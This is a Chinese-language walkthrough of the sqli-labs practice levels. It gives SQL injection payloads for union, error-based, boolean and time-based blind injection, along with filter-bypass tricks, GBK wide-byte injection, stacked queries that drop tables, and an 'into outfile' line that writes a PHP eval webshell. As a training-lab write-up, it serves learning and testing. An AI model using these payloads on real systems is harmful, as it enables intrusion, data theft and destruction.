sqli_labs通关

首先是sqli_labs的安装需要几点注意

  • 修改配置里面的数据库用户密码
  • php版本应该为5
  • php.ini里面魔术引号关掉

前置知识

数据库的组成结构:库->database 表->table 列->column(access没有多个库)

以下是针对mysql的一些常规操作

  • select database(); //查看当前所用的数据库
  • select table_name from information_schema.tables where table_name=database(); //查看当前数据库的所有表名
  • select column_name from information_schema.columns where table_name=’xxx’; //查看某个表里面的所有列名
  • order by x; //这个x可以是列名也可以是数字,数字就表示是第几列的意思

这里要解释一下information_schema里面的结构,information_schema是mysql中一个重要的表,原来记录一些重要的信息,里面有许多表,我们只需要记住几个常用的

  • TABLES ->TABLE_NAME(表名);TABLE_SCHEMA(表对应的库名);
  • COLUMNS->TABLE_SCHEMA(列所在表对应的库名);TABLE_NAME(列所在的表名);COLUMN_NAME(字段名)

sql注入的类型

  • 报错注入
  • 布尔盲注
  • 堆叠注入

Less-1

尝试地传一个?id=1’,页面报错

报错显示 use near ‘’1’’ LIMIT 0,1’ at line 1

可以知道构造的sql语句是 ‘1’’ LIMIT 0,1 可以发现这里的参数是被一对单引号括住的,这样子我们根据报错的内容得到了sql语句,我们就可以尝试去闭合原来的单引号的基础上去构造我们想要的sql语句

1
2
3
4
5
6
#原本的sql语句应该是
SELECT * FROM users WHERE id='$id' LIMIT 0,1
#因此我们要尝试闭合前面的单引号,然后添加我们的sql语句,然后注释掉后面的单引号,可以尝试构造
SELECT * FROM users WHERE id='-1' or '1'='1' LIMIT 0,1
#这样子虽然id=-1这个条件是错误的 但是由于后面的1=1恒成立,所以依然会进行查询得到表里第一列的内容,这里是采用了闭合了后面的单引号的方式,我们还可以使用注释的方法
SELECT * FROM users WHERE id='1'-- ' LIMIT 0,1

注释可以用– 或者# 像第一关是url里面传参,要经过url编码,所以可以使用

–+ 因为+解码后会变成空格

接下来可以爆列数,使用order by,发现刚好order by 3的时候不会报错

传一个

发现了爆出的数据的点,于是我们可以组织一下我们的payload了

顺利查到表名,接下来想查啥都好说了

Less-2

可以知道没有单引号,所以就 把第一关的payload去掉一个单引号就行

Less-3

这里用的是’)

Less-4

“)

Less-5

到了这里就是布尔盲注了

说到布尔盲注,我们需要记住几个常见的字符串处理函数

  • mid(string,start,length)

str=”12345” mid(str,2,1) 输出2

  • substr(string,start,length)

用法和mid一样

  • left(string,length)

str=”12345” left(str,2) 输出12

  • ord(str)

得到返回第一个字符的ASCII

  • ascii() 和ord一样

当我们传入id=1的时候 页面没有回显账户的信息,只会给一个正确登录的提示

这个时候我们可以传一个错误的and运算就可以知道盲注的基本思想

image-20220204150800317

当我们在and后面传入错误的运算时,页面没有正确的回显,于是我们可以在and后面加入一些判断语句,例如判断数据库长度大小的,由于我们事先知道数据库的名字为security,长度为8

我们还可以继续去爆库名,比如

知道第一个字符是s后就可以继续往下爆,这里一般都是用sqlmap批量跑,在misc题目也经常会遇到sqlmap的盲注流量题

Less-6

payload去掉’

Less-7

payload加上’)),看标题写着dump into outfile

  • load_file() 读取文件并返回该文件的内容作为一个字符串
  • select into outfile “绝对路径\1.php” 写入一个一句话木马
  • Lines terminated by //在每行结束的位置添加内容
1
select 1 into outfile 'd:/xx/xx/xx/shell.php' lines terminated by '<?php @eval($_REQUEST[1])?>'
  • Lines starting by //在每行开始的位置添加内容
  • fieids terminated by //在每个字段的间隔中插入内容
  • colomns terminated by //在每个字段的位置添加内容

Less-8

payload加上’

常见报错函数

这里补充一下除布尔盲注之外的盲注,例如基于报错的盲注,报错往往是一些函数的特性导致,在利用报错盲注的时候要特别注意php版本,在最开始学习报错盲注的时候就在这里浪费了很多时间,这里记录一些常见的报错函数

floor()

floor()的功能是向下取整,返回一个不大于x的最大整数,例如floor(1.2)=1

一般配合rand()使用,是一个随机数函数,会随机生成一个0到1直接的数

当rand()有了参数之后,它会对所查询的每条数据产生一个随机数,但是从时间角度看每次给的随机数值是一样的,所以这个随机数的可以预测的,也叫伪随机数

而floor(rand(0)*2)会生成0或者1的数,当它和group by一起用的时候,会进行多次运算,可以知道floor(rand(0)*2)会得到011011的序列

当在group by 对其进行分组的时候,首先遇到第一个值 0 ,发现 0 不存在,于是需要插入分组,就在这时,**floor(rand(0)\*2)**再次被触发,生成第二个值 1 ,因此最终插入虚拟表的也就是第二个值 1 ;然后遇到第三个值 1 ,因为已经存在分组 1 了,就直接计数加1(这时1的计数变为2);遇到第四个值 0 的时候,发现 0 不存在,于是又需要插入新分组,然后floor(rand(0)*2)又被触发,生成第五个值 1 ,因此这时还是往虚拟表里插入分组 1 ,但是,分组 1 已经存在了!所以报错!

参考资料

利用payload

1
2
select count(), concat((select database()), '-', floor(rand(0)*2)) as a from information_schema.tables group by a;
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

extractvalue()

从目标XML中返回包含所查询值的字符串,MySQL5.1.5以上版本才支持

EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称
  第二个参数:XPath_string (Xpath格式的字符串)

寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容

payload:

1
extractvalue(null,concat(0x7e,(select database()),0x7e))

updatexml()

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
payload:

1
2
updatexml(1,concat('~',(select database()),'~'),3);
updatexml(0x3a,concat(1,(select user())),1)

exp()

exp函数如果里面的数值大于709的时候,会溢出报错

适用于mysql5.5.5及以上版本,这个报错对版本有高要求,很容易失败

payload:

1
2
3
select exp(~(select*from(select user())x));
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

geometrycollection()

geometrycollection(point(10 10), point(30 30), linestring(15 15, 20 20))

报错原理:MYSQL无法用这样字符串画出图形

5.5<MYSQL版本<5.6

payload:

1
geometrycollection((select * from(select * from(select database())a)b))

multipoint ()

Multipoint (inputs, {spatial_reference}, {has_z}, {has_m})

报错原理和上面那个一样

payload:

1
multipoint((select * from(select * from(select database())a)b));

polygon()

和上面一样

payload:

1
polygon((select * from(select * from(select database())a)b));

multipolygon()

payload:

1
multipolygon((select * from(select * from(select user())a)b));

linestring()

payload:

1
linestring((select * from(select * from(select user())a)b));

multilinestring()

payload:

1
multilinestring((select * from(select * from(select user())a)b));

Less-9

标题是时间盲注

延时注入

  • sleep(seconds)函数,里面数字多大就睡几秒,因此可以构造以下payload根据页面响应的时间来判断
1
id=1 and if(substr(select database(),1,1)='s',sleep(5),0)

如果数据库名第一个字符是s的话页面就会卡5秒

  • BENCHMARK()

BENCHMARK(count,expr),该函数会重复执行表达式expr count次,payload如下

1
?id=1'union select (if(substr(database(),1,1)='s',BEN CHMARK(50000000,ENCODE('MSG','by 5 seconds'))))--+

若第一个字符是s页面会卡5秒

Less-10

和上一关一样,差别在于双引号

Less-11

到了这里就是POST的注入了

这里介绍一下常用的万能密码

‘ or 1#

这里可能还是看不明白,我们结合一下源码

1
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";	$result=mysql_query($sql);	$row = mysql_fetch_array($result);

根据我们传入的值,最后执行的sql语句会变成

1
SELECT username, password FROM users WHERE username=''or 1#' and password='$passwd' LIMIT 0,1;

可以发现先闭合了前面的单引号,然后用一个or 1构成永真式,再用#注释掉后面的内容,数据库就会返回结果,填在密码那里同样可行,同时又因为登录失败会返回错误信息,前面所学的报错函数在这里也可以用上

Less-12

爆出以”)闭合 修改前面的payload就可以

Less-13

双查询报错,其实和前面的是一个道理,直接看payload

Less-14

和13一样,区别在于没有)

Less-15

没有报错提示,可以利用布尔或者延时盲注

Less-16

和15一样

Less-17

这次是一个修改密码的功能,看源码知道对用户名进行了函数保护

所以我们要在password进行报错函数的使用

Less-18

直接看源码

1
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";	$result1 = mysql_query($sql);	$row1 = mysql_fetch_array($result1);		if($row1)			{			echo '<font color= "#FFFF00" font size = 3 >';			$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";			mysql_query($insert);			//echo 'Your IP ADDRESS is: ' .$IP;			echo "</font>";			//echo "<br>";			echo '<font color= "#0000ff" font size = 3 >';						echo 'Your User Agent is: ' .$uagent;			echo "</font>";			echo "<br>";			print_r(mysql_error());						echo "<br><br>";			echo '<img src="../images/flag.jpg"  />';			echo "<br>";						}		else			{			echo '<font color= "#0000ff" font size="3">';			//echo "Try again looser";			print_r(mysql_error());			echo "</br>";						echo "</br>";			echo '<img src="../images/slap.jpg"   />';				echo "</font>";  			}

可以看到源码对于ua,ip这些是没有过滤的,所以我们可以通过修改包头来进行报错注入,由于这里我们直接看源码,所以我们可以闭合几个引号

或者是使用

1
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1

都可以

Less-19

和18关一样,改成Referer就行

Less-20

源码的意思是只要登录过,第二次刷新直接用cookie里面的username来执行sql语句,由于cookie没有函数进行过滤,所以我们对cookie进行报错函数的注入即可,由于没有找到好用的插件,所以直接上bp了

Less-21

对cookie进行了base64加密,把上一关的cookie加个base64就行

Less-22

同21

Less-23

这一关过滤了#和– 意味着我们不能通过注释的方式来处理后面那个引号

但是没有过滤’的使用,所以我们可以用

1
?id=1'or'1'='1

来绕过,此时sql语句为

1
select * from users where id='1'or'1'='1

这是直接传’or’1’=’1也能注出来结果

Less-24

这关有点意思,感觉有点任意用户密码修改漏洞内味了

注册一个新用户,然后数据库查询一下

发现已经注册成功了,这个时候修改一下这个用户的密码,就会发现变成修改

admin的密码

Less-25

过滤了and和or,用符号就行

Less-26

这里就有点麻烦了,过滤了挺多的

1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}

但是我们可以用双写和括号来绕过过滤的内容和空格,具体payload如下

1
2
?id=1') aandnd ('1'='1
?id=1'aandnd(extractvalue(1,concat(0x7e,(select(database())),0x7e)))aandnd'1'='1

如果要查其它信息,记得information_schema要改成infoorrmation_schema

Less-27

大小写混合绕过 同时要想办法创造空格

%09 TAB 键(水平)

%0a 新建一行

%0c 新的一页

%0d return 功能

%0b TAB 键(垂直)

%a0 空格

最后的payload

1
999'%0AUNion%0ASElEct%0A1,database(),3||'1'='1

Less-28

这个过滤了union select 可以用双写来绕过

爆个库名试试看

空字符绕过

mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字。而一些防御性的代码遇到用户传入’的时候,会变成\‘,这个时候我们要想办法去掉\,\的url编码是%5c,而若我们在\的前面再加一个字符恰好可以和%5c组成一个汉字,那么就可以进行绕过,如图下

Less-32、33

Less-34

这一关就是post版的空字符绕过,这里和get有点区别,由于get是直接在url修改,你传入一个%91会直接当作url编码的值对待,但是如果你post一个%91,会再次进行一次url编码,所以我们直接在bp里面修改就可以

Less-35

这里有一个小技巧,若我们想使用字符串可以用十六进制后的数字来避免引号的使用

Less-36

还是老办法

Less-37

万能密码�’ or 1=1#

堆叠注入

在SQL语句中,分号;用来表示一条sql语句的结束。如果我们在一条sql语句结尾的分号后面再加上一条sql语句,照样可以运行

通过堆叠注入我们可以脱离原本的sql语句,去进行一些其它的数据库功能,比如创建新的表。不过堆叠注入也有很大的局限性,我们根据源码可以知道,php连接数据库的时候是以一个用户的身份登录的,而这个用户的权限一般比较低,只有查询功能,所以一些删除和创建是无法实现的,同时oracle数据库是不支持堆叠注入的

Less-38、39、40、41

这几关就是闭合方式不一样,payload都是一样的

可以看到数据库已经多了一条数据了

Less-42、43、44、45

1
2
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

直接看源码发现passwd是没有过滤的,直接上payload

1
2
c';drop table me;# (删除 me 表)
c';create table me like users;# (创建一个 me 的表)

Less-46、47

源码很简单

1
2
3
4
5
<?php
include("../sql-connections/sql-connect.php");
$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);

Less-48、49

这一关要求是布尔盲注,我们测试了一下,发现rand(true)和rand(false)时回显不一样,那么我们可以把我们的布尔式放到rand函数里面,如下

Less-50、51、52、53

这一关是order by 加上堆叠注入

1
?sort=1;drop table me;#